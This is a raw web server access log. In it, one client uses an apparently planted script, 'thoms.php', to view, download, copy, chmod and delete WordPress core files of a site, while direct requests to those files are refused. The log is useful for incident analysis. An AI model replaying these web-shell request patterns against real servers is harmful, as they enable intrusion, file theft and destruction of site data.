45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16585 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?chmod=abilities-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14904 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?dl=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16315 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?chmod=registration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?dl=revision.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:19 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21420 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30756 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?del=Requests&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=Requests&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?del=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:20 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13319 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /bestzyx.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13651 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?dl=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdate.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdate.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33505 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /bestzyx.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffonts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffonts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13035 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?dl=embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /bestzyx.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?chmod=rest-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /bestzyx.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:22 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?chmod=SimplePie&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?chmod=bookmark.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /bestzyx.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19875 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12153 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /bestzyx.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?del=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59291 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:23 -0400] "GET /thoms.php?chmod=date.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?chmod=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14063 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23453 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /bestzyx.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ferror-protection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ferror-protection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?dl=post-formats.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /bestzyx.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13197 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?del=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?chmod=theme-compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?chmod=update.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /bestzyx.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18035 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /bestzyx.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
